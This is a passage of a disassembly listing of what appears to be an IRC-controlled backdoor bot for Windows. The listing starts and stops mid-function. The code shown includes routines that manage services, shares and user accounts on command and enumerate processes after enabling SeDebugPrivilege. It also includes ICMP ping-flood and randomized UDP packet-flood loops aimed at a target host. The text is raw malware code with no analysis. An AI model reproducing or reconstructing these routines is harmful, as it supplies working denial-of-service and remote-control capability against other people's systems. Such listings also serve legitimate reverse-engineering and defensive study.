dword ptr 8 push ebp mov ebp, esp sub esp, 71Ch push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_71C] push eax call sub_415A8A add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_10C] mov esi, 108h push eax mov [ebp+var_4], esi call ds:dword_4200DC ; GetComputerNameA push esi lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_31C] push eax call sub_415A8A lea eax, [ebp+var_71C] push eax call sub_41597E add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_71C] push eax push 0 lea eax, [ebp+var_31C] push eax push 0 call dword_43581C test eax, eax jnz short loc_407740 push offset aNetMessageSent ; "[NET]: Message sent successfully." mov esi, offset dword_435C90 push esi call sub_414415 pop ecx pop ecx jmp short loc_407767 ; --------------------------------------------------------------------------- loc_407740: ; CODE XREF: sub_4076B0+7Aj lea ecx, [ebp+var_71C] push ecx lea ecx, [ebp+var_31C] push ecx call sub_407580 push eax push offset aNetSServerSMes ; "[NET]: %s <Server: %S> <Message: %S>" mov esi, offset dword_435C90 push esi call sub_414415 add esp, 14h loc_407767: ; CODE XREF: sub_4076B0+8Ej mov eax, esi pop esi leave retn sub_4076B0 endp ; =============== S U B R O U T I N E ======================================= sub_40776C proc near ; CODE XREF: sub_4089DC:loc_40A5E3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_4077C2 push 0 lea esi, [eax+eax*2] push 0 shl esi, 2 push dword_42B478[esi] push edi push eax call sub_406C8B add esp, 14h test eax, eax jnz short loc_4077B4 push edi push off_42B474[esi] push offset aNetSServiceS_ ; "[NET]: %s service: '%s'." loc_4077A4: ; CODE XREF: sub_40776C+54j mov esi, offset dword_435E90 push esi call sub_414415 add esp, 10h jmp short loc_4077DF ; --------------------------------------------------------------------------- loc_4077B4: ; CODE XREF: sub_40776C+2Aj call sub_406D2D push eax push edi push offset aNetErrorWithSe ; "[NET]: Error with service: '%s'. %s" jmp short loc_4077A4 ; --------------------------------------------------------------------------- loc_4077C2: ; CODE XREF: sub_40776C+Cj lea eax, [eax+eax*2] push off_42B470[eax*4] mov esi, offset dword_435E90 push offset aNetSNoServiceS ; "[NET]: %s: No service specified." push esi call sub_414415 add esp, 0Ch loc_4077DF: ; CODE XREF: sub_40776C+46j pop edi mov eax, esi pop esi retn sub_40776C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077E4 proc near ; CODE XREF: sub_4089DC:loc_40A6C7p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_40787C mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40780D dec eax jnz short loc_40785C push edi push 0 call sub_407114 pop ecx pop ecx jmp short loc_407858 ; --------------------------------------------------------------------------- loc_40780D: ; CODE XREF: sub_4077E4+18j cmp [ebp+arg_8], 0 jnz short loc_40784A push 24h push edi call sub_4158C0 test eax, eax pop ecx pop ecx jnz short loc_40784A push 57h pop eax loc_407824: ; CODE XREF: sub_4077E4+76j call sub_407580 push eax push edi lea eax, [esi+esi*2] push off_42B470[eax*4] mov esi, offset dword_436090 push offset aNetSErrorWithS ; "[NET]: %s: Error with share: '%s'. %s" push esi call sub_414415 add esp, 14h jmp short loc_40789C ; --------------------------------------------------------------------------- loc_40784A: ; CODE XREF: sub_4077E4+2Dj ; sub_4077E4+3Bj push [ebp+arg_8] push edi push 0 call sub_4070A9 add esp, 0Ch loc_407858: ; CODE XREF: sub_4077E4+27j test eax, eax jnz short loc_407824 loc_40785C: ; CODE XREF: sub_4077E4+1Bj push edi lea eax, [esi+esi*2] push off_42B474[eax*4] mov esi, offset dword_436090 push offset aNetSShareS_ ; "[NET]: %s share: '%s'." push esi call sub_414415 add esp, 10h jmp short loc_40789C ; --------------------------------------------------------------------------- loc_40787C: ; CODE XREF: sub_4077E4+Aj mov eax, [ebp+arg_0] lea eax, [eax+eax*2] push off_42B470[eax*4] mov esi, offset dword_436090 push offset aNetSNoShareSpe ; "[NET]: %s: No share specified." push esi call sub_414415 add esp, 0Ch loc_40789C: ; CODE XREF: sub_4077E4+64j ; sub_4077E4+96j pop edi mov eax, esi pop esi pop ebp retn sub_4077E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078A2 proc near ; CODE XREF: sub_4089DC+1D18p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push ebx push esi push edi push [ebp+arg_C] call sub_406FE7 xor esi, esi push esi push [ebp+arg_8] mov [ebp+var_10], eax push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] mov [ebp+var_4], esi push [ebp+arg_0] mov [ebp+var_14], esi mov [ebp+var_C], esi call sub_4056BF add esp, 18h loc_4078DB: ; CODE XREF: sub_4078A2+10Dj lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax push 0FFFFFFFFh lea eax, [ebp+var_8] push eax push 1F6h push [ebp+var_10] call dword_435908 mov ebx, eax cmp ebx, esi jz short loc_40793C cmp ebx, 0EAh jz short loc_40793C push ebx call sub_407580 push eax lea eax, [ebp+var_214] push offset aNetShareListEr ; "[NET]: Share list error: %s <%ld>" push eax call sub_414415 push esi push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 24h jmp short loc_4079A9 ; --------------------------------------------------------------------------- loc_40793C: ; CODE XREF: sub_4078A2+5Dj ; sub_4078A2+65j xor edi, edi inc edi cmp [ebp+var_4], edi jb short loc_4079A0 mov esi, [ebp+var_8] add esi, 14h loc_40794A: ; CODE XREF: sub_4078A2+FAj push dword ptr [esi+10h] call dword_435900 ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_407961 mov eax, offset aNo ; "No" loc_407961: ; CODE XREF: sub_4078A2+B8j push eax push dword ptr [esi] lea eax, [ebp+var_214] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_414415 push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+var_4] jbe short loc_40794A xor esi, esi loc_4079A0: ; CODE XREF: sub_4078A2+A0j push [ebp+var_8] call dword_435840 loc_4079A9: ; CODE XREF: sub_4078A2+98j cmp ebx, 0EAh jz loc_4078DB xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_4078A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4079C1 proc near ; CODE XREF: sub_4089DC:loc_40A769p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_407A64 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_407A03 dec eax jz short loc_4079F8 dec eax jnz short loc_407A1E push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_4071B2 add esp, 14h jmp short loc_407A1A ; --------------------------------------------------------------------------- loc_4079F8: ; CODE XREF: sub_4079C1+1Dj push ebx push edi call sub_407191 pop ecx pop ecx jmp short loc_407A1A ; --------------------------------------------------------------------------- loc_407A03: ; CODE XREF: sub_4079C1+1Aj cmp [ebp+arg_8], edi jz short loc_407A17 push [ebp+arg_8] push ebx push edi call sub_407137 add esp, 0Ch jmp short loc_407A1A ; --------------------------------------------------------------------------- loc_407A17: ; CODE XREF: sub_4079C1+45j push 57h pop eax loc_407A1A: ; CODE XREF: sub_4079C1+35j ; sub_4079C1+40j ... cmp eax, edi jnz short loc_407A3E loc_407A1E: ; CODE XREF: sub_4079C1+20j push ebx lea eax, [esi+esi*2] push off_42B474[eax*4] mov esi, offset dword_436290 push offset aNetSUsernameS_ ; "[NET]: %s username: '%s'." push esi call sub_414415 add esp, 10h jmp short loc_407A84 ; --------------------------------------------------------------------------- loc_407A3E: ; CODE XREF: sub_4079C1+5Bj call sub_407580 push eax push ebx lea eax, [esi+esi*2] push off_42B470[eax*4] mov esi, offset dword_436290 push offset aNetSErrorWithU ; "[NET]: %s: Error with username: '%s'. %"... push esi call sub_414415 add esp, 14h jmp short loc_407A84 ; --------------------------------------------------------------------------- loc_407A64: ; CODE XREF: sub_4079C1+Dj mov eax, [ebp+arg_0] lea eax, [eax+eax*2] push off_42B470[eax*4] mov esi, offset dword_436290 push offset aNetSNoUsername ; "[NET]: %s: No username specified." push esi call sub_414415 add esp, 0Ch loc_407A84: ; CODE XREF: sub_4079C1+7Bj ; sub_4079C1+A1j pop edi mov eax, esi pop esi pop ebx pop ebp retn sub_4079C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A8B proc near ; CODE XREF: sub_4089DC+1DBAp var_21C = byte ptr -21Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 21Ch push esi push edi push [ebp+arg_C] xor esi, esi mov [ebp+var_4], esi call sub_406FE7 push esi push [ebp+arg_8] mov [ebp+var_18], eax push offset aUsernameAccoun ; "Username accounts for local system:" push [ebp+arg_4] mov [ebp+var_8], esi push [ebp+arg_0] mov [ebp+var_14], esi mov [ebp+var_1C], esi mov [ebp+var_C], esi call sub_4056BF add esp, 18h push ebx loc_407ACA: ; CODE XREF: sub_407A8B+129j lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_8] push eax push 0FFFFFFFFh lea eax, [ebp+var_4] push eax push 2 push esi push [ebp+var_18] call dword_4357E8 cmp eax, esi mov [ebp+var_10], eax jz short loc_407B29 cmp eax, 0EAh jz short loc_407B29 push eax call sub_407580 push eax lea eax, [ebp+var_21C] push offset aNetUserListErr ; "[NET]: User list error: %s <%ld>" push eax call sub_414415 push esi push [ebp+arg_8] lea eax, [ebp+var_21C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 24h jmp short loc_407B9A ; --------------------------------------------------------------------------- loc_407B29: ; CODE XREF: sub_407A8B+62j ; sub_407A8B+69j mov edi, [ebp+var_4] cmp edi, esi jz short loc_407BAD xor ebx, ebx cmp [ebp+var_8], esi jbe short loc_407B9A loc_407B37: ; CODE XREF: sub_407A8B+E7j cmp edi, esi lea eax, [ebp+var_21C] jz short loc_407B76 push dword ptr [edi] push offset aS_3 ; " %S" push eax call sub_414415 push 1 push [ebp+arg_8] lea eax, [ebp+var_21C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 20h add edi, 4 inc [ebp+var_C] inc ebx cmp ebx, [ebp+var_8] jb short loc_407B37 jmp short loc_407B9A ; --------------------------------------------------------------------------- loc_407B76: ; CODE XREF: sub_407A8B+B4j push offset aNetAnAccessVio ; "[NET]: An access violation has occured."... push eax call sub_414415 push esi push [ebp+arg_8] lea eax, [ebp+var_21C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 1Ch loc_407B9A: ; CODE XREF: sub_407A8B+9Cj ; sub_407A8B+AAj ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_407BAD push edi call dword_435840 xor edi, edi mov [ebp+var_4], edi loc_407BAD: ; CODE XREF: sub_407A8B+A3j ; sub_407A8B+114j cmp [ebp+var_10], 0EAh jz loc_407ACA cmp edi, esi pop ebx jz short loc_407BC6 push edi call dword_435840 loc_407BC6: ; CODE XREF: sub_407A8B+132j push [ebp+var_C] lea eax, [ebp+var_21C] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_414415 push esi push [ebp+arg_8] lea eax, [ebp+var_21C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 20h xor eax, eax cmp [ebp+var_10], esi pop edi setz al pop esi leave retn sub_407A8B endp ; =============== S U B R O U T I N E ======================================= sub_407BFF proc near ; CODE XREF: sub_4024A4+7p ; sub_40398A+7Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_43587C ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_407C27 push [esp+arg_0] call dword_435868 ; gethostbyname test eax, eax jnz short loc_407C20 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_407C20: ; CODE XREF: sub_407BFF+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_407C27: ; CODE XREF: sub_407BFF+Dj retn sub_407BFF endp ; =============== S U B R O U T I N E ======================================= sub_407C28 proc near ; CODE XREF: sub_40887D+138p mov ecx, dword_4358EC xor eax, eax test ecx, ecx jz short locret_407C36 jmp ecx ; --------------------------------------------------------------------------- locret_407C36: ; CODE XREF: sub_407C28+Aj retn sub_407C28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_407C37 proc near ; CODE XREF: sub_4089DC:loc_40CFA3p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp lea ebp, [esp-78h] sub esp, 88h push ebx push esi xor eax, eax push edi inc eax push eax mov [ebp+78h+var_4], eax lea eax, [ebp+78h+var_8] xor ebx, ebx push eax push ebx xor esi, esi mov [ebp+78h+var_8], ebx call dword_435814 ; GetIpNetTable mov ecx, eax sub ecx, ebx jz short loc_407CC7 sub ecx, 32h jz loc_407D0E sub ecx, 48h jz short loc_407C92 sub ecx, 6Eh jz short loc_407C8B loc_407C77: ; CODE XREF: sub_407C37+8Ej push eax lea eax, [ebp+78h+var_88] push offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP cache: <%"... push eax call sub_414415 add esp, 0Ch jmp short loc_407CEF ; --------------------------------------------------------------------------- loc_407C8B: ; CODE XREF: sub_407C37+3Ej push offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache is empty." jmp short loc_407CE4 ; --------------------------------------------------------------------------- loc_407C92: ; CODE XREF: sub_407C37+39j push [ebp+78h+var_8] call sub_414CAD pop ecx mov ecx, [ebp+78h+var_8] mov edx, ecx mov esi, eax shr ecx, 2 xor eax, eax mov edi, esi rep stosd mov ecx, edx and ecx, 3 cmp esi, ebx rep stosb jz short loc_407CDF push 1 lea eax, [ebp+78h+var_8] push eax push esi call dword_435814 ; GetIpNetTable cmp eax, ebx jnz short loc_407C77 loc_407CC7: ; CODE XREF: sub_407C37+2Bj cmp [esi], ebx jbe short loc_407CFC lea edi, [esi+4] loc_407CCE: ; CODE XREF: sub_407C37+A4j push edi call dword_435874 ; DeleteIpNetEntry inc ebx add edi, 18h cmp ebx, [esi] jb short loc_407CCE jmp short loc_407CFC ; --------------------------------------------------------------------------- loc_407CDF: ; CODE XREF: sub_407C37+7Dj push offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to allocation ARP ca"... loc_407CE4: ; CODE XREF: sub_407C37+59j ; sub_407C37+DCj lea eax, [ebp+78h+var_88] push eax call sub_414415 pop ecx pop ecx loc_407CEF: ; CODE XREF: sub_407C37+52j lea eax, [ebp+78h+var_88] push eax mov [ebp+78h+var_4], ebx call sub_401EFF pop ecx loc_407CFC: ; CODE XREF: sub_407C37+92j ; sub_407C37+A6j push esi call sub_414844 mov eax, [ebp+78h+var_4] pop ecx pop edi pop esi pop ebx add ebp, 78h leave retn ; --------------------------------------------------------------------------- loc_407D0E: ; CODE XREF: sub_407C37+30j push offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"... jmp short loc_407CE4 sub_407C37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D15 proc near ; CODE XREF: sub_401141+21Bp ; sub_401141+32Ap ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push edi xor eax, eax lea edi, [ebp+var_14] stosd stosd stosd stosd lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] mov [ebp+var_4], 10h call dword_435780 ; getsockname movzx eax, [ebp+var_D] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" mov esi, offset dword_436490 push esi call sub_414415 add esp, 18h pop edi mov eax, esi pop esi leave retn sub_407D15 endp ; =============== S U B R O U T I N E ======================================= sub_407D6B proc near ; CODE XREF: sub_4021B5+249p ; sub_4021B5+274p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] xor edx, edx cmp ecx, 1 push esi jle short loc_407D96 lea eax, [ecx-2] shr eax, 1 inc eax mov esi, eax neg esi lea ecx, [ecx+esi*2] mov esi, [esp+4+arg_0] push edi loc_407D89: ; CODE XREF: sub_407D6B+26j movzx edi, word ptr [esi] add edx, edi inc esi inc esi dec eax jnz short loc_407D89 pop edi jmp short loc_407D9A ; --------------------------------------------------------------------------- loc_407D96: ; CODE XREF: sub_407D6B+Aj mov esi, [esp+4+arg_0] loc_407D9A: ; CODE XREF: sub_407D6B+29j test ecx, ecx jz short loc_407DA3 movzx eax, byte ptr [esi] add edx, eax loc_407DA3: ; CODE XREF: sub_407D6B+31j mov ecx, edx shr ecx, 10h and edx, 0FFFFh add ecx, edx mov eax, ecx shr eax, 10h add eax, ecx not eax pop esi retn sub_407D6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407DBB proc near ; DATA XREF: sub_4089DC+549Do var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_414630 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h pop ecx mov esi, eax xor ebx, ebx lea edi, [ebp+var_144] rep movsd inc ebx mov [eax+120h], ebx call dword_435858 ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_43587C ; inet_addr mov esi, eax xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_407E14 lea eax, [ebp+var_C0] push eax call dword_435868 ; gethostbyname test eax, eax jz short loc_407E1A loc_407E14: ; CODE XREF: sub_407DBB+46j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_407E78 loc_407E1A: ; CODE XREF: sub_407DBB+57j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset aPingErrorSendi ; "[PING]: Error sending pings to %s." push eax call sub_414415 add esp, 0Ch cmp [ebp+var_28], 0 jnz short loc_407E5C push 0 push [ebp+var_2C] lea eax, [ebp+var_344] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_4056BF add esp, 14h loc_407E5C: ; CODE XREF: sub_407DBB+7Ej lea eax, [ebp+var_344] push eax call sub_401EFF push [ebp+var_30] call sub_41255E pop ecx pop ecx push ebx jmp loc_407F3D ; --------------------------------------------------------------------------- loc_407E78: ; CODE XREF: sub_407DBB+5Dj test eax, eax jz short loc_407E88 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_407E8B ; --------------------------------------------------------------------------- loc_407E88: ; CODE XREF: sub_407DBB+BFj mov [ebp+var_4], esi loc_407E8B: ; CODE XREF: sub_407DBB+CBj push 7 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh cmp [ebp+var_3C], eax jle short loc_407EA6 mov [ebp+var_3C], eax loc_407EA6: ; CODE XREF: sub_407DBB+E6j cmp [ebp+var_38], ebx jge short loc_407EAE mov [ebp+var_38], ebx loc_407EAE: ; CODE XREF: sub_407DBB+EEj xor edi, edi xor esi, esi cmp [ebp+var_40], edi jle short loc_407EDD loc_407EB7: ; CODE XREF: sub_407DBB+120j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push edi push [ebp+var_3C] lea eax, [ebp+var_10320] push eax push [ebp+var_4] push [ebp+arg_0] call dword_4358F0 ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_407EB7 loc_407EDD: ; CODE XREF: sub_407DBB+FAj push [ebp+arg_0] call dword_43588C ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset aPingFinishedSe ; "[PING]: Finished sending pings to %s." push eax call sub_414415 add esp, 0Ch cmp [ebp+var_28], edi jnz short loc_407F26 push edi push [ebp+var_2C] lea eax, [ebp+var_344] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_4056BF add esp, 14h loc_407F26: ; CODE XREF: sub_407DBB+149j lea eax, [ebp+var_344] push eax call sub_401EFF push [ebp+var_30] call sub_41255E pop ecx pop ecx push edi loc_407F3D: ; CODE XREF: sub_407DBB+B8j call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_407DBB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F44 proc near ; DATA XREF: sub_4089DC+55EDo var_10316 = byte ptr -10316h var_10314 = byte ptr -10314h var_338 = byte ptr -338h var_138 = dword ptr -138h var_134 = byte ptr -134h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10314h call sub_414630 mov eax, [ebp+arg_0] push esi push edi push 49h pop ecx mov esi, eax lea edi, [ebp+var_138] rep movsd xor esi, esi inc esi mov [eax+120h], esi call ds:dword_420004 ; GetTickCount push eax call sub_4145C4 pop ecx push 11h push 2 push 2 call dword_435808 ; socket mov [ebp+var_4], eax xor eax, eax lea edi, [ebp+var_14] stosd stosd stosd stosd lea eax, [ebp+var_B4] push eax mov [ebp+var_14], 2 call dword_43587C ; inet_addr xor edi, edi xor ecx, ecx cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40801F lea eax, [ebp+var_B4] push eax call dword_435868 ; gethostbyname mov ecx, eax cmp ecx, edi jnz short loc_40801F lea eax, [ebp+var_B4] push eax lea eax, [ebp+var_338] push offset aUdpErrorSendin ; "[UDP]: Error sending pings to %s." push eax call sub_414415 add esp, 0Ch cmp [ebp+var_1C], edi jnz short loc_408003 push edi push [ebp+var_20] lea eax, [ebp+var_338] push eax lea eax, [ebp+var_134] push eax push [ebp+var_138] call sub_4056BF add esp, 14h loc_408003: ; CODE XREF: sub_407F44+9Dj lea eax, [ebp+var_338] push eax call sub_401EFF push [ebp+var_24] call sub_41255E pop ecx pop ecx push esi jmp loc_408158 ; --------------------------------------------------------------------------- loc_40801F: ; CODE XREF: sub_407F44+6Aj ; sub_407F44+7Dj cmp [ebp+var_28], edi jge short loc_408027 mov [ebp+var_28], edi loc_408027: ; CODE XREF: sub_407F44+DEj mov eax, 0FFFFh cmp [ebp+var_28], eax jle short loc_408034 mov [ebp+var_28], eax loc_408034: ; CODE XREF: sub_407F44+EBj cmp ecx, edi jz short loc_40803F mov eax, [ecx+0Ch] mov eax, [eax] jmp short loc_408042 ; --------------------------------------------------------------------------- loc_40803F: ; CODE XREF: sub_407F44+F2j lea eax, [ebp+arg_0] loc_408042: ; CODE XREF: sub_407F44+F9j cmp [ebp+var_28], edi mov eax, [eax] mov [ebp+var_10], eax jnz short loc_40805D call sub_4145D1 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_408060 ; --------------------------------------------------------------------------- loc_40805D: ; CODE XREF: sub_407F44+106j push [ebp+var_28] loc_408060: ; CODE XREF: sub_407F44+117j call dword_435954 ; htons mov [ebp+var_12], ax mov eax, [ebp+var_34] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_2C], edi mov [ebp+var_34], eax jnz short loc_40807E mov [ebp+var_2C], esi loc_40807E: ; CODE XREF: sub_407F44+135j xor esi, esi cmp [ebp+var_30], edi jle short loc_4080F9 loc_408085: ; CODE XREF: sub_407F44+159j call sub_4145D1 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_30] mov [ebp+esi-10315h], dl jl short loc_408085 jmp short loc_4080F9 ; --------------------------------------------------------------------------- loc_4080A1: ; CODE XREF: sub_407F44+1B8j dec [ebp+var_34] push 0Bh pop esi loc_4080A7: ; CODE XREF: sub_407F44+195j push 10h lea eax, [ebp+var_14] push eax push edi call sub_4145D1 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_30] sub eax, edx push eax lea eax, [ebp+var_10314] push eax push [ebp+var_4] call dword_4357D8 ; sendto push [ebp+var_2C] call ds:dword_420000 ; Sleep dec esi jnz short loc_4080A7 cmp [ebp+var_28], edi jnz short loc_4080F9 call sub_4145D1 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_435954 ; htons mov [ebp+var_12], ax loc_4080F9: ; CODE XREF: sub_407F44+13Fj ; sub_407F44+15Bj ... cmp [ebp+var_34], edi jg short loc_4080A1 dec [ebp+var_34] lea eax, [ebp+var_B4] push eax lea eax, [ebp+var_338] push offset aUdpFinishedSen ; "[UDP]: Finished sending packets to %s." push eax call sub_414415 add esp, 0Ch cmp [ebp+var_1C], edi jnz short loc_408141 push edi push [ebp+var_20] lea eax, [ebp+var_338] push eax lea eax, [ebp+var_134] push eax push [ebp+var_138] call sub_4056BF add esp, 14h loc_408141: ; CODE XREF: sub_407F44+1DBj lea eax, [ebp+var_338] push eax call sub_401EFF push [ebp+var_24] call sub_41255E pop ecx pop ecx push edi loc_408158: ; CODE XREF: sub_407F44+D6j call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_407F44 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40815F proc near ; CODE XREF: sub_40378E+45p ; sub_40378E+165p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call ds:dword_4200E0 ; GetCurrentProcess push eax call dword_43593C ; OpenProcessToken test eax, eax jnz short loc_40817E leave retn ; --------------------------------------------------------------------------- loc_40817E: ; CODE XREF: sub_40815F+1Bj push esi lea eax, [ebp+var_10] push eax push [ebp+arg_0] xor esi, esi push esi call dword_435924 ; LookupPrivilegeValueA test eax, eax jz short loc_4081BC cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_4081A5 or [ebp+var_8], 2 jmp short loc_4081A9 ; --------------------------------------------------------------------------- loc_4081A5: ; CODE XREF: sub_40815F+3Ej and [ebp+var_8], 0FFFFFFFDh loc_4081A9: ; CODE XREF: sub_40815F+44j push esi push esi push esi lea eax, [ebp+var_14] push eax push esi push [ebp+var_4] call dword_435870 ; AdjustTokenPrivileges mov esi, eax loc_4081BC: ; CODE XREF: sub_40815F+32j push [ebp+var_4] call ds:dword_42003C ; CloseHandle mov eax, esi pop esi leave retn sub_40815F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4081CA proc near ; CODE XREF: sub_4084DD+68p ; sub_4085DF+Cp ... var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi xor ebx, ebx push 49h xor eax, eax cmp dword_4357F8, ebx pop ecx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_4083DB cmp dword_435854, ebx jz loc_4083DB cmp dword_4357B8, ebx jz loc_4083DB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_40815F pop ecx pop ecx push ebx push 0Fh call dword_4357F8 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jz loc_4083CE lea eax, [ebp+var_12C] push eax push edi mov [ebp+var_12C], 128h call dword_435854 ; Process32First test eax, eax mov esi, ds:dword_42003C jz loc_4083C9 lea eax, [ebp+var_12C] push eax push edi call dword_4357B8 ; Process32Next test eax, eax jz loc_4083C9 mov ebx, ds:dword_420078 loc_408289: ; CODE 